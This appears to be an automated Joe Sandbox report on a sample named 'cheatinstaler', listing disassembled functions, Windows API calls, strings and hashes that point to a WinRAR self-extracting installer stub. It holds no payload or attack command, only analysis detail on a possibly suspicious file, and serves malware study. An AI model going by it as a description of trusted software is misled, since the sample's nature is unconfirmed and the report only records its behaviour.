_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DC363
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DC369
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DC36F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DC375
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DC37B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DC381
SendDlgItemMessageW.USER32 ref: 00007FF6C16DC449
EndDialog.USER32 ref: 00007FF6C16DC463
GetDlgItem.USER32 ref: 00007FF6C16DC491
SetFocus.USER32 ref: 00007FF6C16DC49A
SendDlgItemMessageW.USER32 ref: 00007FF6C16DC53E
FindFirstFileW.KERNEL32 ref: 00007FF6C16DC562
FindClose.KERNEL32 ref: 00007FF6C16DC68A
SendDlgItemMessageW.USER32 ref: 00007FF6C16DC7AF

Part of subcall function 00007FF6C16B129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16B1396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DCAA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DCAAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DCAB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DCABB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DCAC1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DCAC7

Strings

-el -s2 "-d%s" "-sp%s", xrefs: 00007FF6C16DB799
runas, xrefs: 00007FF6C16DB7C9
winrarsfxmappingfile.tmp, xrefs: 00007FF6C16DB8E0
STARTDLG, xrefs: 00007FF6C16DB1CA
@, xrefs: 00007FF6C16DB7B6
LICENSEDLG, xrefs: 00007FF6C16DC0C9
__tmp_rar_sfx_access_check_, xrefs: 00007FF6C16DB6A9
REPLACEFILEDLG, xrefs: 00007FF6C16DC3D3
%s %s, xrefs: 00007FF6C16DC6D9, 00007FF6C16DC946
p, xrefs: 00007FF6C16DB7AB

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Item$_invalid_parameter_noinfo_noreturn$Message$DialogText$ButtonChecked$FileSend$ErrorLast$CloseFindFocusLoadStringView$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleLineMappingParamShellSleepTickTranslateUnmapWindow
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 3303814210-2702805183
Opcode ID: 937210c2e510caa8de60326d0bf769a59ef258c76f9eb9a3915c043d96f2bb73
Instruction ID: b8c5a99de3e7be0c8efc76c9656348629b70b6803dd51c0141a6a82b96ba65ac
Opcode Fuzzy Hash: 937210c2e510caa8de60326d0bf769a59ef258c76f9eb9a3915c043d96f2bb73
Instruction Fuzzy Hash: B3D2A462A0878641EB20EF27E8542F96361FF86786F604135D9CD877AADF3CE644E740

Function 00007FF6C16DCE88 Relevance: 65.0, APIs: 26, Strings: 10, Instructions: 1963fileCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6C16DD5F3
IsDlgButtonChecked.USER32 ref: 00007FF6C16DD626
IsDlgButtonChecked.USER32 ref: 00007FF6C16DD655
MoveFileW.KERNEL32 ref: 00007FF6C16DDB4B
MoveFileExW.KERNEL32 ref: 00007FF6C16DDB69
GetTempPathW.KERNEL32 ref: 00007FF6C16DDC49

Part of subcall function 00007FF6C16B1FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B1FFB

EndDialog.USER32 ref: 00007FF6C16DDFCA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16DEEE3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEEEF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF07
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF0D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF13
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF19
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF1F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF25
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF2B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF31
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF37
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF3D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF43
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF49
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF4F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16DEF5B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16DEF67
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16DEF73

Strings

MIN, xrefs: 00007FF6C16DEAE5, 00007FF6C16DEAF4
MAX, xrefs: 00007FF6C16DEA82, 00007FF6C16DEA91
lnk, xrefs: 00007FF6C16DE3CA, 00007FF6C16DE3D9
.lnk, xrefs: 00007FF6C16DE406, 00007FF6C16DE415
<br>, xrefs: 00007FF6C16DD6DA, 00007FF6C16DD6E9
@set:user, xrefs: 00007FF6C16DDD96, 00007FF6C16DDDA5
HIDE, xrefs: 00007FF6C16DE9E5, 00007FF6C16DE9F4
.tmp, xrefs: 00007FF6C16DDA85
ProgramFilesDir, xrefs: 00007FF6C16DD4F0
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF6C16DD501

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$ButtonCheckedFileMove$DialogItemPathTemp
String ID: .lnk$.tmp$<br>$@set:user$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$lnk
API String ID: 1830998149-3916287355
Opcode ID: 7f7cf621285890d289b7a5689e1f5a4e564ca718d967f11b89b90c9b9141b20d
Instruction ID: ad32ea0407e7ef0f3fd6ca8b539a5bec247c4be529634ad2d4072cc2da942b53
Opcode Fuzzy Hash: 7f7cf621285890d289b7a5689e1f5a4e564ca718d967f11b89b90c9b9141b20d
Instruction Fuzzy Hash: 9D13CF72B04B8299EB10EF66D8402EC27B1FB4139AF604135DADD97AD9DF38E585E340

Function 00007FF6C16E0754 Relevance: 45.9, APIs: 21, Strings: 5, Instructions: 380
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6C16CDFD0: GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE018
Part of subcall function 00007FF6C16CDFD0: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE030
Part of subcall function 00007FF6C16CDFD0: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE05D

Part of subcall function 00007FF6C16C62DC: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6C16C62F2
Part of subcall function 00007FF6C16C62DC: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6C16C632C

Part of subcall function 00007FF6C16D946C: OleInitialize.OLE32 ref: 00007FF6C16D9486
Part of subcall function 00007FF6C16D946C: SHGetMalloc.SHELL32 ref: 00007FF6C16D94D4

GetCommandLineW.KERNEL32 ref: 00007FF6C16E096E
OpenFileMappingW.KERNEL32 ref: 00007FF6C16E0A07
MapViewOfFile.KERNEL32 ref: 00007FF6C16E0A30
UnmapViewOfFile.KERNEL32 ref: 00007FF6C16E0A46
MapViewOfFile.KERNEL32 ref: 00007FF6C16E0A63
UnmapViewOfFile.KERNEL32 ref: 00007FF6C16E0ACA
CloseHandle.KERNEL32 ref: 00007FF6C16E0AD3
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6C16E0BAD
GetLocalTime.KERNEL32 ref: 00007FF6C16E0BB8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C16E0C13
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6C16E0C26
GetModuleHandleW.KERNEL32 ref: 00007FF6C16E0C2E
LoadIconW.USER32 ref: 00007FF6C16E0C4D
DialogBoxParamW.USER32 ref: 00007FF6C16E0CB6
Sleep.KERNEL32 ref: 00007FF6C16E0CE6
DeleteObject.GDI32 ref: 00007FF6C16E0D0D
DeleteObject.GDI32 ref: 00007FF6C16E0D1F
CloseHandle.KERNEL32 ref: 00007FF6C16E0D67
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16E0DD7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16E0DDD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16E0DE3

Part of subcall function 00007FF6C16DFD0C: SetEnvironmentVariableW.KERNEL32 ref: 00007FF6C16DFD43
Part of subcall function 00007FF6C16DFD0C: SetEnvironmentVariableW.KERNELBASE ref: 00007FF6C16DFDBC

Strings

winrarsfxmappingfile.tmp, xrefs: 00007FF6C16E09F9
STARTDLG, xrefs: 00007FF6C16E0CA5
sfxname, xrefs: 00007FF6C16E0B9B
sfxstime, xrefs: 00007FF6C16E0C1F
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF6C16E0C02

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView$_invalid_parameter_noinfo_noreturn$AddressCloseCurrentDeleteDirectoryModuleObjectProcUnmap$CommandDialogIconInitializeLineLoadLocalMallocMappingOpenParamSleepTimeswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 1048086575-3710569615
Opcode ID: 7fb843965e060d2caf1f274bd47349aa60f49b36b68f6f054b76b7ae27a5abf6
Instruction ID: 7737979ea7f472a1aa3fc29db5687d501243a2d2bf5778ee231d32b46211a27d
Opcode Fuzzy Hash: 7fb843965e060d2caf1f274bd47349aa60f49b36b68f6f054b76b7ae27a5abf6
Instruction Fuzzy Hash: 4312A521B18B8285EB10DF26EC552B96361FF85786F504231DADD87BA6DF3CE240E740

Function 00007FF6C16CA4AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C16CA504

Part of subcall function 00007FF6C16D0F68: WideCharToMultiByte.KERNEL32 ref: 00007FF6C16D0F99

SetDlgItemTextW.USER32 ref: 00007FF6C16CA573
GetWindowRect.USER32 ref: 00007FF6C16CA5AD
GetClientRect.USER32 ref: 00007FF6C16CA5BB
GetWindowLongPtrW.USER32 ref: 00007FF6C16CA66C
GetWindowRect.USER32 ref: 00007FF6C16CA6B2
SetDlgItemTextW.USER32 ref: 00007FF6C16CA6EC
GetSystemMetrics.USER32 ref: 00007FF6C16CA6F7
GetWindow.USER32 ref: 00007FF6C16CA708
GetWindowRect.USER32 ref: 00007FF6C16CA746
GetWindow.USER32 ref: 00007FF6C16CA808

Strings

$%s:, xrefs: 00007FF6C16CA4EF
CAPTION, xrefs: 00007FF6C16CA6CF

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Window$Rect$ItemText$ByteCharClientLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 1936833115-404845831
Opcode ID: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction ID: 15e4a566c358f155d838706601cf89f9929580be20332c836bbfe673dea67c43
Opcode Fuzzy Hash: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction Fuzzy Hash: 65910832B186418AEB14DF2AE8106AAA7A1FBC4785F505535EECD87B59DF3CE905CB00

Function 00007FF6C16D8624 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE ref: 00007FF6C16D863D
SizeofResource.KERNEL32 ref: 00007FF6C16D8659
LoadResource.KERNEL32 ref: 00007FF6C16D8673
LockResource.KERNEL32 ref: 00007FF6C16D8685
GlobalAlloc.KERNELBASE ref: 00007FF6C16D86A6
GlobalLock.KERNEL32 ref: 00007FF6C16D86BB
GdipAlloc.GDIPLUS ref: 00007FF6C16D86FE
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF6C16D8769
GlobalUnlock.KERNEL32 ref: 00007FF6C16D878C
GlobalFree.KERNEL32 ref: 00007FF6C16D8795

Strings

PNG, xrefs: 00007FF6C16D862F

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: c8606208415c3a11eb94d5df8c8f8595ea54109f2541637b646828bce78d4013
Instruction ID: 1b013200bc1eb9a3611ace8fb7c2e97576cc8fe13c96b5ea48a005b759dffb35
Opcode Fuzzy Hash: c8606208415c3a11eb94d5df8c8f8595ea54109f2541637b646828bce78d4013
Instruction Fuzzy Hash: FF412D25B09B0282EF049F17D85837963A4AF88B96F144435DEDD873A4EF7CE469D740

Function 00007FF6C16BF930 Relevance: 17.2, APIs: 8, Strings: 1, Instructions: 1417COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C1239
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C123F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C1245
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C124B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C1251
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C1257
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C125D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C1263

Strings

__tmp_reference_source_, xrefs: 00007FF6C16BFCCF, 00007FF6C16BFCDE

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: __tmp_reference_source_
API String ID: 3668304517-685763994
Opcode ID: 6851538e357941a99ebb696b081bc24ed3bcd29be91ebe21427510cb9cba344c
Instruction ID: 1321c4b14bbaec7f046a777dd2950280d1c2c3cc3c4cc5469397de9846e06dec
Opcode Fuzzy Hash: 6851538e357941a99ebb696b081bc24ed3bcd29be91ebe21427510cb9cba344c
Instruction Fuzzy Hash: EFE29066A086C292EF64DF66E0503BEA7A1FB81785F404136DBDD83AA5CF3CE455E700

Function 00007FF6C16B4840 Relevance: 12.1, APIs: 5, Strings: 1, Instructions: 1624COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B511E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B5124
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B512A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B5E16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B5E1C

Strings

CMT, xrefs: 00007FF6C16B59B2

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: CMT
API String ID: 3668304517-2756464174
Opcode ID: f3c9c95c157df1c99ad266365504da1f39fa52ba75423407634179f88c0c16ad
Instruction ID: a3f599713d6e075609997949807ad7e237c74a099133a41c13dc2c2689b9ccc4
Opcode Fuzzy Hash: f3c9c95c157df1c99ad266365504da1f39fa52ba75423407634179f88c0c16ad
Instruction Fuzzy Hash: E0E2EF22B0868286EB28DF76D4502FE67A1FB45386F444136EADE87796DF3CE455E300

Function 00007FF6C16C40BC Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00007FF6C16C410B
FindFirstFileW.KERNEL32 ref: 00007FF6C16C415E
GetLastError.KERNEL32 ref: 00007FF6C16C41AF
FindNextFileW.KERNEL32 ref: 00007FF6C16C41D7
GetLastError.KERNEL32 ref: 00007FF6C16C41E5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C430F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C4315

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FileFind$ErrorFirstLast_invalid_parameter_noinfo_noreturn$Next
String ID:
API String ID: 474548282-0
Opcode ID: 5b7a682f346ba33cc6e8113bf8bb974c5d06c867b30d63dc8f71ee7e42fd28a6
Instruction ID: 245333192ea5e8f740b6b7347bc6f001a3b70ec3daa14257daf61be439aaa3b0
Opcode Fuzzy Hash: 5b7a682f346ba33cc6e8113bf8bb974c5d06c867b30d63dc8f71ee7e42fd28a6
Instruction Fuzzy Hash: AA618062A08A8281EF10EF2AE8502796361FF857A6F505331EAED83BD9DF3CD544D700

Function 00007FF6C16B5E24 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 586
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMT, xrefs: 00007FF6C16B59B2, 00007FF6C16B675B

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: 1483503f4f6562bc116dab0f55c891e212737330d95d7192c6dc5e801ab4a3f4
Instruction ID: ba418ccde15b1899d1b06e2e1ed03aa9f9000188d63238c57303b22a85acda12
Opcode Fuzzy Hash: 1483503f4f6562bc116dab0f55c891e212737330d95d7192c6dc5e801ab4a3f4
Instruction Fuzzy Hash: 4142EF22B0968296EB28DF76C1502FD67A1EB51345F400136EBDE936D6DF3CE52AE300

Function 00007FF6C16CDFD0 Relevance: 143.9, APIs: 16, Strings: 66, Instructions: 440
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE018
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE030
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE05D
CreateFileW.KERNEL32 ref: 00007FF6C16CE3F0
SetFilePointer.KERNEL32 ref: 00007FF6C16CE40E
ReadFile.KERNEL32 ref: 00007FF6C16CE436

Part of subcall function 00007FF6C16CDFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF6C16CDDDF

CompareStringW.KERNELBASE ref: 00007FF6C16CE559
CloseHandle.KERNEL32 ref: 00007FF6C16CE4F3

Part of subcall function 00007FF6C16B1FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B1FFB

Part of subcall function 00007FF6C16C51A4: GetVersionExW.KERNEL32 ref: 00007FF6C16C51D5

Part of subcall function 00007FF6C16CDFD0: LoadLibraryW.KERNELBASE ref: 00007FF6C16CDEFF
Part of subcall function 00007FF6C16CDFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16CDFB5
Part of subcall function 00007FF6C16CDFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16CDFBB
Part of subcall function 00007FF6C16CDFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16CDFC1
Part of subcall function 00007FF6C16CDFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16CDFC7

AllocConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE74B
GetCurrentProcessId.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE755
AttachConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE75D
GetStdHandle.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE780
WriteConsoleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE799
Sleep.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE7A4
FreeConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C16CE7AA
ExitProcess.KERNEL32 ref: 00007FF6C16CE7BB

Strings

netutils.dll, xrefs: 00007FF6C16CE283
ws2_32.dll, xrefs: 00007FF6C16CE0FF
kernel32, xrefs: 00007FF6C16CE011
dfscli.dll, xrefs: 00007FF6C16CE2F3
shell32.dll, xrefs: 00007FF6C16CE1BF
ntshrui.dll, xrefs: 00007FF6C16CE12B
apphelp.dll, xrefs: 00007FF6C16CE14F
WINNSI.DLL, xrefs: 00007FF6C16CE275
uxtheme.dll, xrefs: 00007FF6C16CE66D
oleaccrc.dll, xrefs: 00007FF6C16CE1E9
slc.dll, xrefs: 00007FF6C16CE23D
mpr.dll, xrefs: 00007FF6C16CE291
dsrole.dll, xrefs: 00007FF6C16CE37F
sfc_os.dll, xrefs: 00007FF6C16CE091
shdocvw.dll, xrefs: 00007FF6C16CE179
rsaenh.dll, xrefs: 00007FF6C16CE0A7
cryptsp.dll, xrefs: 00007FF6C16CE355
dhcpcsvc6.dll, xrefs: 00007FF6C16CE31D
srvcli.dll, xrefs: 00007FF6C16CE221
wkscli.dll, xrefs: 00007FF6C16CE2E5
crypt32.dll, xrefs: 00007FF6C16CE187
